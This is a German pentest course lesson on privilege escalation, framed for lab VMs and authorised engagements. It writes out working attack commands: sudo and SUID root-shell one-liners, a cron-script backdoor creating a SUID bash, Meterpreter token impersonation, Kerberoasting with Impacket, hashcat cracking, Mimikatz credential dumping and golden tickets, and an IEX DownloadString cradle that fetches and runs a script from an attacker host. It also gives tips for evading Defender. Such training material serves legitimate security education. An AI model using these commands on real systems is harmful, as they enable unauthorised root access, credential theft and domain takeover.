Rechteausweitung — Grundlagen
Sie haben einen Zugriff. Gut. Aber ein user-Konto ist nicht dasselbe wert wie ein root-, SYSTEM- oder Domänenadministrator-Konto. Diese Woche geht es darum, von „Ich habe eine Shell" zu „Ich bin Herr über die Maschine" zu wechseln. Ohne das ist der Rest des Pentests reines Theater.
Rechteausweitung wird auf den VMs des Labs praktiziert (Metasploitable 2/3, HackTheBox retired boxes, VulnHub), oder im Auftrag unter RoE. Ein mimikatz auf einem Rechner, den Sie nicht anfassen dürfen, ist in mehreren Ländern eine Straftat.
Was Sie nach dieser Lektion können
linpeasundwinpeasnutzen, ohne in ihrer Ausgabe zu ertrinken.- Fünf klassische Linux-Pfade erkennen:
sudo, SUID, Cron, Capabilities, Kernel-Exploits. - Vier klassische Windows-Pfade erkennen: falsch ACL-eingestellte Dienste, DLL-Hijacking, zu stehlende Tokens, Kerberoasting.
- Hashes offline mit
hashcatknacken (Formate NTLM, sha512crypt, kerberos-tgs). - Mimikatz sauber einsetzen und verstehen, warum es ebenso Angst macht wie Freude bereitet.
- Einen Eskalationsbefund schreiben, der im Bericht Wert hat.
1. Die gemeinsame Logik
Rechteausweitung folgt drei systematischen Fragen:
- „Wozu bin ich mit diesem Konto berechtigt?" —
id,whoami,sudo -l,whoami /priv. - „Was tut das System als privilegierte Instanz, das ich beeinflussen kann?" — root-Cron, geplante SYSTEM-Aufgabe, ein Dienst, der eine DLL lädt.
- „Was liegt im Speicher, darf ich es anfassen?" — LSASS unter Windows,
/proc/*/environunter Linux, Anwendungsgeheimnisse.
Diese drei Fragen, in Schleife, für jedes Ziel. Der Rest ist Handwerk.
2. Linux — die fünf klassischen Pfade
2.1. sudo -l — die weit offene Tür
sudo -l
Typische Ausgabe:
User bob may run the following commands on this host:
(root) NOPASSWD: /usr/bin/vim
Das ist eine sofortige Eskalation. sudo vim als root, dann in vim:
:!bash
Eine root-Shell. Fertig. Jeder interaktive Befehl, der shell-out kann, hat denselben Effekt: less, more, awk, find, nmap (alt), perl, python, ruby.
Referenz, die man kennen muss: GTFOBins. Eine Datenbank von Binärdateien, die bei falscher Konfiguration in sudo eine root-Shell öffnen.
2.2. Falsch gesetzte SUID-Bits
Das SUID-Bit (s statt x) bewirkt, dass eine Datei mit den Rechten ihres Eigentümers ausgeführt wird — oft root.
find / -perm -4000 -type f 2>/dev/null
Klassische Ausgabe (Metasploitable 2):
/usr/bin/nmap
/usr/bin/python
/usr/bin/rlogin
/bin/mount
/bin/su
Ein altes nmap mit SUID root akzeptiert einen interaktiven Modus, der shell-out macht. python mit SUID root ist eine root-Shell in einer Zeile:
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
GTFOBins listet die Tricks für jede Binärdatei auf. Nachschlagen, bevor man selbst erfindet.
2.3. Cron mit relativen Pfaden
cat /etc/crontab
ls -la /etc/cron.d/
Mögliche Ausgabe:
* * * * * root backup.sh
Wenn backup.sh sich in einem $PATH-Ordner befindet, den Sie ändern können — oder wenn /etc/crontab backup.sh ohne absoluten Pfad auflistet — legen Sie Ihr präpariertes backup.sh ab und warten die nächste Minute ab.
Variante mit absolutem Pfad, aber beschreibbarem Skript:
ls -la /opt/backup/run.sh
-rwxrwxr-x root root run.sh
Schreibrecht für die Gruppe = Volltreffer. Fügen Sie hinzu:
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/backup/run.sh
Eine Minute später:
/tmp/rootbash -p
whoami
# root
2.4. Capabilities
Die File Capabilities von Linux (man 7 capabilities) gewähren fein abgestufte Rechte. Manche sind gefährlich:
getcap -r / 2>/dev/null
Beispielausgabe:
/usr/bin/python3.10 = cap_setuid+ep
cap_setuid auf Python bedeutet: Python kann setuid(0) aufrufen, ohne anfangs root zu sein. Eskalationspfad:
python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Weitere offensive Capabilities: cap_dac_read_search (alles lesen, auch /etc/shadow), cap_sys_admin (so gut wie alles).
2.5. Kernel-Exploits
Wenn alles andere scheitert, der Kernel. Version prüfen:
uname -a
cat /etc/os-release
Dann suchen:
searchsploit "linux kernel <version>"
Auf einem Kernel 2.6.24 wie bei Metasploitable 2 gibt es reihenweise Exploits (Dirty Cow, sock_diag_handlers, perf_swevent). Auf einem aktuellen Kernel ist es umgekehrt — Kernel-Exploits sind teuer und selten.
Achtung: Ein Kernel-Exploit legt das System in einem von fünf Fällen lahm. Beim Kundenpentest niemals ohne ausdrückliche Genehmigung durch das RoE, niemals tagsüber.
2.6. LinPEAS — das Inventarisierungswerkzeug
linpeas.sh scannt die oben genannten Punkte und viele weitere. Ergebnis in 3–5 Minuten.
# Von Kali aus bereitstellen
python3 -m http.server 8000
# Auf dem Ziel
wget http://10.10.10.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a | tee /tmp/linpeas.out
Schlüsselzeile in der Ausgabe:
[+] Interesting files/paths owned by me
[+] Files with SUID bit
[+] Sudo version
[+] Kernel exploits (linux-exploit-suggester)
LinPEAS listet auf, es bewertet nicht. Ein [+] SUID: /usr/bin/passwd ist ein falsches Positiv — es ist normal, dass passwd SUID ist. Sie filtern von Hand.
3. Windows — die vier klassischen Pfade
3.1. Falsch ACL-eingestellte Dienste
# In PowerShell auf dem Ziel
Get-Service | Where-Object {$_.StartType -eq 'Automatic'}
# Für jeden Dienst die ACLs der Binärdatei prüfen
$svcs = Get-CimInstance Win32_Service
foreach ($s in $svcs) {
$path = $s.PathName -replace '"' -replace ' .*'
if (Test-Path $path) {
(Get-Acl $path).Access | Where-Object { $_.IdentityReference -match "Everyone|Users|Authenticated" }
}
}
Wenn ein Dienst, der als LocalSystem läuft, eine Binärdatei hat, die von Users veränderbar ist, ersetzen Sie die Binärdatei durch Ihre Payload, starten den Dienst neu, und SYSTEM fällt.
3.2. DLL-Hijacking
Eine ausführbare Datei lädt eine DLL nach Namen (kernel32.dll, mydll.dll) ohne absoluten Pfad. Windows sucht in dieser Reihenfolge: Ordner der ausführbaren Datei, System32, SysWOW64, PATH.
Wenn einer der Suchordner von Ihnen beschreibbar ist und die Anwendung als Administrator läuft, legen Sie eine präparierte mydll.dll ab und warten.
Erkennung mit procmon: filtern Sie nach NAME NOT FOUND + .dll, während die Anwendung startet.
3.3. Zu stehlende Tokens
Unter Windows ist beim Anmelden eines Administrators (auch per RDP) sein Zugriffstoken im Speicher vorhanden. Ein SYSTEM-Prozess kann dieses Token impersonate und zu diesem Administrator werden.
Aus Meterpreter:
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "ACME\admin"
meterpreter > getuid
Server username: ACME\admin
Sie sind Domänenadministrator, ohne je dessen Passwort gesehen zu haben.
3.4. Kerberoasting
In einem Active Directory hat jedes Dienstkonto (svc_sql, svc_backup) einen Service Principal Name (SPN). Jeder authentifizierte Benutzer kann ein Kerberos-Ticket (TGS) anfordern, das mit dem Passwort-Hash des Kontos verschlüsselt ist. Dieses Ticket kann offline geknackt werden.
# Von Kali aus, mit Impacket
impacket-GetUserSPNs -request -dc-ip 192.168.100.10 acme.local/user:password
Ausgabe: Tickets, bereit zum Knacken mit hashcat -m 13100. Dienstkonten haben oft ein schwaches Passwort (vor 10 Jahren gesetzt, nie geändert).
Das ist der Angriff Nr. 1 auf AD im Jahr 2026. Der durchschnittliche CISO kennt ihn nicht.
3.5. WinPEAS
Windows-Äquivalent von LinPEAS. Auf dem Ziel:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/winPEAS.ps1')
Typische Ausgabe: Zehntausende Zeilen. Filtern:
[+] AlwaysInstallElevated— seltener, aber explosiver Volltreffer (msi-Installationen als SYSTEM durch jeden Benutzer).[+] Unquoted Service Path— Dienste mit nicht in Anführungszeichen gesetztem Pfad und Leerzeichen.[+] Modifiable Registry— Dienste, deren Konfiguration überschrieben werden kann.[+] Autologon credentials— Klartext-Passwörter in der Registry.- Ergebnisse Potentially exploitable — einzeln zu validieren.
4. Hashes offline knacken
Der Hauptvorteil des Offline-Knackens: Das Ziel bemerkt nichts. Kein Konto wird gesperrt.
4.1. Die Formate, die man kennen muss
| Format | Herkunft | Hashcat-Modus | Geschwindigkeit RTX 4090 |
|---|---|---|---|
| NTLM | lokale Windows-Konten, Hashdump | -m 1000 | ~200 GH/s |
| NetNTLMv2 | Responder/Relay | -m 5600 | ~3 GH/s |
| Kerberos TGS-REP | Kerberoasting | -m 13100 | ~1 GH/s |
| AS-REP | AS-REP Roasting | -m 18200 | ~1 GH/s |
| sha512crypt | moderne Linux /etc/shadow | -m 1800 | ~130 KH/s |
| bcrypt | Webanwendungen | -m 3200 | ~200 KH/s |
| MySQL | v5+ | -m 300 | ~200 GH/s |
Größenordnung: NTLM = sehr schnell, bcrypt/sha512crypt = sehr langsam (per Design).
4.2. Klassische Angriffe
Reines Wörterbuch:
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
Wörterbuch + Regeln (Variationen: Großbuchstabe, Ziffer am Ende, l33t):
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
Maske — wenn Sie eine Richtlinie vermuten:
# 8 Zeichen, Großbuchstabe am Anfang, Ziffern am Ende
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d
Kombinierter Angriff:
# Zwei Wörterbücher als Kreuzprodukt
hashcat -m 1000 hashes.txt -a 1 wl1.txt wl2.txt
4.3. Die Regeln, die man kennen muss
best64.rule— 64 allgemeine Regeln. Guter Kompromiss.OneRuleToRuleThemAll.rule— 52k Regeln. Langsam, aber sehr effektiv.dive.rule— massiv, sehr rechenintensiv.
Für Unternehmensrichtlinien schreibt man eigene Regeln: Sommer2025! = Basis Sommer + 2025 + ! = reproduzierbares Muster.
5. Mimikatz — das Werkzeug, das Windows verändert hat
Geschrieben von Benjamin Delpy im Jahr 2011, es zeigte, dass Windows Passwörter im Klartext im Speicher (LSASS) hielt. Microsoft brauchte 5 Jahre, um zu reagieren. Mimikatz bleibt das Referenzwerkzeug für die Extraktion von Windows-Anmeldedaten.
Was Mimikatz kann:
sekurlsa::logonpasswords— extrahiert alle Passwörter aktiver Sitzungen.sekurlsa::tickets— extrahiert Kerberos-Tickets im Speicher.lsadump::sam— dumpt die lokale SAM (wie hashdump).lsadump::dcsync— gibt sich als Domänencontroller aus und fordert die Replikation eines Kontos an (einschließlich deskrbtgt-Hashs = Golden Ticket).sekurlsa::pth— Pass-the-Hash (Authentifizierung mit NTLM ohne Passwort).kerberos::golden— fälscht ein Golden Ticket (dauerhafter Zugriff auf ein AD).
Technisch liest es LSASS.exe (den Prozess, der die Authentifizierungen verwaltet) über die Windows-APIs aus.
Erkennung: Defender kennt es auswendig, es wird sofort blockiert. Man umgeht das mit:
- eigens kompilierter Version (Neukompilierung mit geänderten Strings).
- Laden im Speicher über
Invoke-Mimikatz(PowerShell). - modernem Ersatz: Rubeus (Kerberoasting, Ticket-Manipulation in C#), SharpHound (BloodHound-Kollektor).
Ethischer Rahmen: Mimikatz auf einer Lab-VM, ja. Mimikatz in einer Kundenproduktion, nur wenn das RoE es ausdrücklich erlaubt. Das Werkzeug ist das eines Angreifers, es löst alle Alarme aus.
6. BloodHound — die Landkarte der Domäne
BloodHound extrahiert keine Anmeldedaten, es kartiert die Beziehungen in einem Active Directory:
- Wer ist Administrator wovon.
- Welche Konten können sich per RDP auf welche Maschinen verbinden.
- Welche Gruppen enthalten welche Benutzer.
- Welche GPOs gelten wo.
Diese Karte zeigt Angriffspfade, die niemand von Hand sieht. Beispiel: „Benutzer Bob (Standardkonto) → Mitglied der Gruppe Marketing → die Gruppe Marketing kann die GPOs des Servers SRV-01 ändern → SRV-01 ist Domänenadministrator."
Kollektor: SharpHound.exe -c All.
Oberfläche: Neo4j + BloodHound-GUI. Vorgefertigte Abfragen: „Find Shortest Paths to Domain Admins from Owned".
2026 ist ein AD-Pentester ohne BloodHound ein unvollständiger Pentester.
7. Der Eskalationsbefund — was der Bericht enthalten muss
Jede gefundene Eskalation = eine Karteikarte:
## Eskalation — <kurzer Titel>
- Ausgangskonto: <user>
- Endkonto: <root / SYSTEM / Domänenadministrator>
- Pfad (nummeriert):
1. Entdeckung: ...
2. Ausnutzung: ...
3. Bestätigung: ...
- Ausgeführte Befehle (Kasten):
```
sudo -l
sudo vim -c ':!bash'
```
- Geschäftliche Auswirkung: Lesen von X, Kontrolle über Y, mögliche Persistenz.
- Empfehlung: Entfernen der sudoers-Zeile oder Umstieg auf ein dediziertes Konto.
Ein Bericht mit 15 „gefundenen Eskalationen" ohne diese Karteikarten ist null wert.
8. Die zu vermeidenden Fehler
- LinPEAS abfeuern und nichts filtern. Der Kunde sieht 400 Zeilen Rauschen und fragt sich, was wirklich kritisch ist.
- Einen Kernel-Exploit ohne Genehmigung einsetzen. Sie legen die Produktion lahm, der Auftrag endet dort.
- Einen Hash knacken und ihn live auf dem Portal verwenden, statt intern zu bleiben. Sie erzeugen überall Logs.
- Das Aufräumen vergessen. Sie haben für die Demo ein
/tmp/rootbashmit SUID abgelegt — denken Sie daran, es vor dem Verlassen zu entfernen. - GTFOBins nicht nachschlagen. Sie erfinden eine komplizierte Ausnutzung für ein SUID-
find, während GTFOBins die genaue Zeile liefert.
9. Was man sich merken sollte
- Drei Fragen in Schleife: meine Rechte, was das System für mich tut, was im Speicher liegt.
- Linux:
sudo -l, SUID, Cron, Capabilities, Kernel. In dieser Prioritätsreihenfolge. - Windows: falsch ACL-eingestellte Dienste, DLL-Hijacking, Tokens, Kerberoasting.
- Hashcat ist Ihr Freund. Kennen Sie die 5 wichtigsten Modi auswendig.
- Mimikatz ist mächtig, laut. 2026 bevorzugen Sie Rubeus + BloodHound.
- Ein Eskalationsbericht = nummerierte Karteikarten mit Auswirkung und Abhilfe.
Nächste Lektion: Wir fällen fünf Eskalationen (Linux + Windows), kartieren ein AD mit BloodHound, erzwingen ein Kerberoast.